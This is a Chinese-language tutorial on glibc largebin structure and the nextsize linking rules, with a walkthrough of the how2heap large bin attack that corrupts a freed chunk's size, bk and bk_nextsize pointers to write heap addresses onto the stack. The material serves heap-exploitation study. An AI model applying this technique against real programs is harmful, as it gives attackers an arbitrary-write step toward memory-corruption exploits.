largebin_运行机制

  • 前提:largebinsmallbin有点类似,都是两个bins管理一组堆块。但是也存在不同点,largebin是管理一定size范围的堆块,而smallbin是管理固定size的堆块,这里在glibc中的bins其实就是smallbinlargebin堆块的总和。
  • 这里乘2的意思其实就表示着俩个bins组合成一个smallbin或者一个largebin,其中一个bin用于指向最后被释放的堆块,另一个bin用于指向最先被释放的堆块,这样其实就构成了一个双向链表。
1
2
3
4
5
6
7
// 两个数组宏定义
#define NBINS 128
#define NSMALLBINS 64

/* Normal bins packed as described above */
mchunkptr bins[NBINS * 2 - 2];

  • 我们先使用一个程序,查看一下bins的结构吧
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include<stdio.h>
#include<malloc.h>
int main(){
void *ptr[10];
int i;
for(i=0;i<10;i++)
{
ptr[i]=malloc(0x700+0x10*i);
malloc(0x10);
}
malloc(0x20);

for(i=0;i<10;i++)
{
free(ptr[i]);
}
malloc(0x780);
return 0;
}// gcc -g -o large_bin1 large_bin.c
  • 直接动调到malloc(0x780)这边,查看堆块我们就会发现如下堆块信息,fd_nextsizebk_nextsize竟然已经被启用了。

image-20250610233853617

  • 我们查看bins,还会发现一些信息,信息如下,注意到如下要点:largebin中的堆块,一个bins管理的是一定范围内size的堆块,而不是管理固定大小的堆块(像0x700x80)这样

image-20250610234003232

  • 接下来我们就以0x700-0x730的这个bins做个例子,画个图之后再来详细描述一下bins的结构。下面给出0x7100x7200x730的三个堆块,结合上图的bins链表,我们就可以画出一个简单的bins堆块结构的图片

image-20250610234314660

  • 我们bins结构的图片如下,这样其实看不出什么东西,主要简单介绍一下有这么一个结构

image-20250611001519334

bins中的结构

  • 对于largebin如果是被释放的状态,并且已经被放入了largebin这个链表中,那该堆块的结构就与放入其他bins的堆块结构不同。
  • 一般我们放入其他bins的堆块,其chunk的结构是如下的。
1
2
3
4
5
6
7
struct chunk{
unsigned long long int prev_size;
unsigned long long int size;
struct chunk *fd;
struct chunk *bk;
user_space
}
  • 而我们处于largebin中的堆块,其结构是像这样的一个结构,其实也就是堆块结构中的fd_nextsizebk_nextsize这两个结构被启用了。
1
2
3
4
5
6
7
8
9
struct chunk{
unsigned long long int prev_size;
unsigned long long int size;
struct chunk *fd;
struct chunk *bk;
struct chunk *fd_nextsize;
struct chunk *bk_nextsize;
user_space
}

nextsize链接机制

情况1

  • 正如上图所示,nextsize是连接的是同一个bins中,size大小相邻的堆块。由于large_bin是管理一定范围的堆块,所以我们就需要nextsize位去管理它的size位,这样才能将不同size的堆块统一管理起来。
  • 接下来为了深度理解一下nextsize的链接机制,我会给出几种情况的例子,以便于我们更好理解。接下来就是第一种情况,一个large_bin中,有多个相同大小的堆块,此时我们的nextsize应该如何。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include<stdio.h>
#include<malloc.h>
int main(){
void *ptr[10];
int i;
for(i=0;i<5;i++)
{
ptr[i]=malloc(0x700);
malloc(0x10);
}
malloc(0x20);

for(i=0;i<5;i++)
{
free(ptr[i]);
}
malloc(0x780);
return 0;
}// gcc -g -o large_bin2 large_bin2.c
  • 我们执行完malloc(0x780)后查看堆块布局,此时我们发现只有在我们最先释放的堆块中,启用了fd_nextsizebk_nextsize,但是我们释放的堆块中并没有不同size大小的堆块,所以我们就会导致,我们的fd_nextsizebk_nextsize都会指向自己。

image-20250611002926746

image-20250611002935194

情况2

  • 如果我们不同size的大小相互交替进行释放,该堆块的布局会是这样的。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include<stdio.h>
#include<malloc.h>
int main(){
void *ptr[10];
void *ptr1[10];
int i;
for(i=0;i<2;i++)
{
ptr[i]=malloc(0x700);
malloc(0x10);
ptr1[i]=malloc(0x710);
malloc(0x10);
}
malloc(0x20);

for(i=0;i<2;i++)
{
free(ptr[i]);
free(ptr1[i]);
}
malloc(0x780);
return 0;
}// gcc -g -o large_bin3 large_bin3.c
  • 接下来我们查看一下这个堆块的布局,我们发现我们释放两个大小相同的堆块,但是我们的fd_nextsizebk_nextsize只有最先释放的堆块被启用

image-20250611003802811

  • 接下来我们查看一下bins的结构,此时我们bins的结构可以做如下总结:
    • chunk的size位越大的chunk,逻辑位置更靠近largebinchunk的size位越小的chunk,更远离largebin
    • 相同size位越大的chunk,越迟释放的chunk,越远离largebin,而越早释放的chunk,越靠近largebin的大小

image-20250611003949299

  • 接下来我们给出nextsize的逻辑结构

image-20250611004944374

情况3

  • 我们接下来查看一下4个不同大小的chunk释放之后nextsize的逻辑结构。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include<stdio.h>
#include<malloc.h>
int main(){
void *ptr[10];
void *ptr1[10];
void *ptr2[10];
void *ptr3[10];
int i;
for(i=0;i<2;i++)
{
ptr[i]=malloc(0x6f0);
malloc(0x10);
ptr1[i]=malloc(0x700);
malloc(0x10);
ptr2[i]=malloc(0x710);
malloc(0x10);
ptr3[i]=malloc(0x720);
malloc(0x10)
}
malloc(0x20);

for(i=0;i<2;i++)
{
free(ptr[i]);
free(ptr1[i]);
free(ptr2[i]);
free(ptr3[i]);
}
malloc(0x2000);
return 0;
}// gcc -g -o large_bin4 large_bin4.c
  • 调试发现如下图所示:

image-20250611010310047

image-20250611010321818

  • 再来查看一下bins的堆块结构

image-20250611010336238

  • 接下来我们就来描述一下bins中nextsize的逻辑结构

image-20250611011319825

实验

  • 了解了large_bin的运行机制后,我们就可以进行如下实验,学习一下large_bin攻击
  • 这里是glibc2.31以前版本的利用,接下来还有一个glibc2.31版本以上的堆利用(这个利用与高版本堆利用很多打法都相关,所以要好好学习一下。)

源码(英文)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
/*

This technique is taken from
https://dangokyo.me/2018/04/07/a-revisit-to-large-bin-in-glibc/

[...]

else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;

[...]

mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;

For more details on how large-bins are handled and sorted by ptmalloc,
please check the Background section in the aforementioned link.

[...]

*/

#include<stdio.h>
#include<stdlib.h>
#include<assert.h>

int main()
{
fprintf(stderr, "This file demonstrates large bin attack by writing a large unsigned long value into stack\n");
fprintf(stderr, "In practice, large bin attack is generally prepared for further attacks, such as rewriting the "
"global variable global_max_fast in libc for further fastbin attack\n\n");

unsigned long stack_var1 = 0;
unsigned long stack_var2 = 0;

fprintf(stderr, "Let's first look at the targets we want to rewrite on stack:\n");
fprintf(stderr, "stack_var1 (%p): %ld\n", &stack_var1, stack_var1);
fprintf(stderr, "stack_var2 (%p): %ld\n\n", &stack_var2, stack_var2);

unsigned long *p1 = malloc(0x420);
fprintf(stderr, "Now, we allocate the first large chunk on the heap at: %p\n", p1 - 2);

fprintf(stderr, "And allocate another fastbin chunk in order to avoid consolidating the next large chunk with"
" the first large chunk during the free()\n\n");
malloc(0x20);

unsigned long *p2 = malloc(0x500);
fprintf(stderr, "Then, we allocate the second large chunk on the heap at: %p\n", p2 - 2);

fprintf(stderr, "And allocate another fastbin chunk in order to avoid consolidating the next large chunk with"
" the second large chunk during the free()\n\n");
malloc(0x20);

unsigned long *p3 = malloc(0x500);
fprintf(stderr, "Finally, we allocate the third large chunk on the heap at: %p\n", p3 - 2);

fprintf(stderr, "And allocate another fastbin chunk in order to avoid consolidating the top chunk with"
" the third large chunk during the free()\n\n");
malloc(0x20);

free(p1);
free(p2);
fprintf(stderr, "We free the first and second large chunks now and they will be inserted in the unsorted bin:"
" [ %p <--> %p ]\n\n", (void *)(p2 - 2), (void *)(p2[0]));

malloc(0x90);
fprintf(stderr, "Now, we allocate a chunk with a size smaller than the freed first large chunk. This will move the"
" freed second large chunk into the large bin freelist, use parts of the freed first large chunk for allocation"
", and reinsert the remaining of the freed first large chunk into the unsorted bin:"
" [ %p ]\n\n", (void *)((char *)p1 + 0x90));

free(p3);
fprintf(stderr, "Now, we free the third large chunk and it will be inserted in the unsorted bin:"
" [ %p <--> %p ]\n\n", (void *)(p3 - 2), (void *)(p3[0]));

//------------VULNERABILITY-----------

fprintf(stderr, "Now emulating a vulnerability that can overwrite the freed second large chunk's \"size\""
" as well as its \"bk\" and \"bk_nextsize\" pointers\n");
fprintf(stderr, "Basically, we decrease the size of the freed second large chunk to force malloc to insert the freed third large chunk"
" at the head of the large bin freelist. To overwrite the stack variables, we set \"bk\" to 16 bytes before stack_var1 and"
" \"bk_nextsize\" to 32 bytes before stack_var2\n\n");

p2[-1] = 0x3f1;
p2[0] = 0;
p2[2] = 0;
p2[1] = (unsigned long)(&stack_var1 - 2);
p2[3] = (unsigned long)(&stack_var2 - 4);

//------------------------------------

malloc(0x90);

fprintf(stderr, "Let's malloc again, so the freed third large chunk being inserted into the large bin freelist."
" During this time, targets should have already been rewritten:\n");

fprintf(stderr, "stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1);
fprintf(stderr, "stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);

// sanity check
assert(stack_var1 != 0);
assert(stack_var2 != 0);

return 0;
}

源码(中文)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
/*

This technique is taken from
https://dangokyo.me/2018/04/07/a-revisit-to-large-bin-in-glibc/

[...]

else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;

[...]

mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;

For more details on how large-bins are handled and sorted by ptmalloc,
please check the Background section in the aforementioned link.

[...]

*/

#include<stdio.h>
#include<stdlib.h>
#include<assert.h>

int main()
{
fprintf(stderr, "这个文件展示的是large bin attack,这个攻击是通过写一个比较大的无符号长整型值到栈上\n");
fprintf(stderr, "在实际中, large bin attack通常是为进一步的攻击做准备,例如覆盖libc中的全局变量global_max_fast,之后再进一步进行fastbin attack\n\n");

unsigned long stack_var1 = 0;
unsigned long stack_var2 = 0;

fprintf(stderr, "让我们首先查看一下我们想要覆盖目标栈上的地址:\n");
fprintf(stderr, "stack_var1 (%p): %ld\n", &stack_var1, stack_var1);
fprintf(stderr, "stack_var2 (%p): %ld\n\n", &stack_var2, stack_var2);

unsigned long *p1 = malloc(0x420);
fprintf(stderr, "现在,我们在堆中分配第一个large chunk地址为: %p\n", p1 - 2);

fprintf(stderr, "并且分配另一个fastbin chunk为了避免在第一个分配到chunk处于释放的状态时,其与接下来申请的large chunk合并\n\n");
malloc(0x20);

unsigned long *p2 = malloc(0x500);
fprintf(stderr, "此时,我们在堆块中申请了第二个,地址如下: %p\n", p2 - 2);

fprintf(stderr, "这时,我们再分配另一个fastbin chunk,为了继续避免第二个堆块在释放的状态中,与后一个large chunk合并\n\n");
malloc(0x20);

unsigned long *p3 = malloc(0x500);
fprintf(stderr, "最后, 我们在堆中分配了第三个large chunk,其地址如下: %p\n", p3 - 2);

fprintf(stderr, "我们再申请第三个fastbin chunk防止第三个lagre chunk释放后与top chunk合并\n\n");
malloc(0x20);

free(p1);
free(p2);
fprintf(stderr, "现在我们释放第一个和第二个large chunk,它们将被插入到unsorted bin中:"
" [ %p <--> %p ]\n\n", (void *)(p2 - 2), (void *)(p2[0]));

malloc(0x90);
fprintf(stderr, "现在,我们分配一个chunk,这个chunk的大小,要比被释放的第一个large chunk更小,这样我们使用malloc申请的时候就会从first large chunk切割内存分配给我们申请的堆块.分配过后first large chunk仍然还在unsorted中,但是被释放的第二个large chunk已经被放入到了large bin链表中,现在unsroted_bin中结构如下:[ %p ]\n\n", (void *)((char *)p1 + 0x90));

free(p3);
fprintf(stderr, "现在,我们释放第三个large chunk,此时它将被插入到unsorted bin中:[ %p <--> %p ]\n\n", (void *)(p3 - 2), (void *)(p3[0]));

//------------VULNERABILITY-----------

fprintf(stderr, "现在模拟一个能修改第二个被释放的large chunk的size位、bk指针、bk_nextsize指针\n");
fprintf(stderr, "总的来说, 我们减少被释放的第二个large chunk的size位,迫使malloc插入第三个被释放的large chunk位于large bin链表的头部.为了覆盖栈上的值,我们设置bk指针为我们stack_var1-0x10字节的地址,设置bk_nextsize为stack_var2-0x20字节的地址\n\n");

p2[-1] = 0x3f1;
p2[0] = 0;
p2[2] = 0;
p2[1] = (unsigned long)(&stack_var1 - 2);
p2[3] = (unsigned long)(&stack_var2 - 4);

//------------------------------------

malloc(0x90);

fprintf(stderr, "让我们再次分配,此时被释放的第三个large chunk正在被插入到large bin链表中,在这段时间中,目标应该已经被重新赋值了:\n");

fprintf(stderr, "stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1);
fprintf(stderr, "stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);

// sanity check
assert(stack_var1 != 0);
assert(stack_var2 != 0);

return 0;
}

布置堆和栈结构

  • 首先我们先选择一个劫持的目标,这里我们选择栈上的一块地址,由于我关闭了地址随机化技术,所以这块地址在本地调试的时候是静止不变的。
  • 此时我们选定了如下俩个栈地址,具体请看下图

image-20250613215030013

image-20250613215116265

  • 接下来我们申请一个0x420大小的堆块,这个大小的堆块被释放后就先会被放入到unsorted_bin中,在之后一次程序调用malloc如果该堆块没有被切割,它就会被放入对应的largebin

image-20250613215250938

image-20250613215300245

image-20250613215408459

  • 由于这样大小的堆块在释放后就很容易触发unlink从而和其他堆块进行合并操作,所以我们为了避免该堆块被合并,导致没法进入lareg_bin这个堆块中,此时我们就申请一个0x20的堆块,使用该堆块将size=0x430的堆块物理内存进行隔离操作
  • 这里节省画图空间就将一下没必要的先节省一下

image-20250613215854106

image-20250613215843614

  • 接下来我们按照malloc大小为0x500、0x20、0x500、0x20这样的顺序申请四个堆块,此时我们的堆块物理结构就如下图所示。

image-20250613220106789

image-20250613220402196

image-20250613220355176

  • 此时我们的堆就布置好了,现在我们就要开始进行largebin_attack的进一步利用了。

释放堆块

  • 接下来我们要先将第一次申请的0x430大小的堆块给释放了,再将第二次申请的0x510的堆块给释放了,使得这两个堆块被放入unsortedbin

  • 如下图所示:

image-20250613220638959

image-20250613220706747

image-20250613221100788

  • 接下来我们先申请一个0x90大小的堆块,此时我们0x430大小的堆块就会被切割一部分下来,并且还继续被放在unsorted_bin
  • 但是size = 0x510的这个堆块就会被放入到largebin中去

image-20250613221246544

image-20250613221409990

image-20250613221547239

  • 完成以上操作后,我们再释放第三次malloc出来的堆块,大小为size=0x510,这个时候该堆块会被放入到unsortedbin中去,此时堆块的布局如下:

image-20250613221910051

image-20250613221927296

image-20250613222819364

修改size、bk、bk_nextsize

  • 释放堆块到如上布局后,我们就要来修改释放后堆块的一些指针和size位,这一步就是攻击的重点步骤。
  • 根据how2heap这个代码,我们就会发现我们要修改的是第一个申请的堆块,也就是已经被放入large_bin中的这个堆块

image-20250613222402863

  • 我们在图上将这个堆块要修改的部分标红,查看一下哪些部分需要修改。

image-20250613223234024

image-20250613223332032

  • 修改之后我们再申请一个0x90大小的堆块,这个时候我们的堆块布局是这样的,此时我们仍然从第一次申请的堆块即size=0x430这个堆块切割内存下来分配。

image-20250613223559283

  • 所以此时我们第三个申请的堆块即size=0x510大小的堆块就会被放入large_bin中去,但是由于我们伪造了bk指针和bk_nextsize这个指针,所以我们此时bins结构如下,并且我们发现栈上的值已经被我们修改成了0x6039a0

image-20250613224102108

image-20250613224134936

  • 这样的来自于源代码的这样一个段,也就是在将处于large_bin大小的堆块,并被释放到unsorted_bin的堆块被放入到large_bin中的更新链表的操作
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62

/* place chunk in bin */

if (in_smallbin_range (size))
{
victim_index = smallbin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;
}
else
{
victim_index = largebin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;

/* maintain large bins in sorted order */
if (fwd != bck)
{
/* Or with inuse bit to speed comparisons */
size |= PREV_INUSE;
/* if smaller than smallest, bypass loop below */
assert ((bck->bk->size & NON_MAIN_ARENA) == 0);
if ((unsigned long) (size) < (unsigned long) (bck->bk->size))
{
fwd = bck;
bck = bck->bk;

victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
else
{
assert ((fwd->size & NON_MAIN_ARENA) == 0);
while ((unsigned long) size < fwd->size)
{
fwd = fwd->fd_nextsize;
assert ((fwd->size & NON_MAIN_ARENA) == 0);
}

if ((unsigned long) size == (unsigned long) fwd->size)
/* Always insert in the second position. */
fwd = fwd->fd;
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
}
}
else
victim->fd_nextsize = victim->bk_nextsize = victim;
}

mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;

图解攻击利用

  • 这个时候堆块是这样的

image-20250613225637032

image-20250613230449879

large_bin_attack_leve_2

large_bin_attack_level_2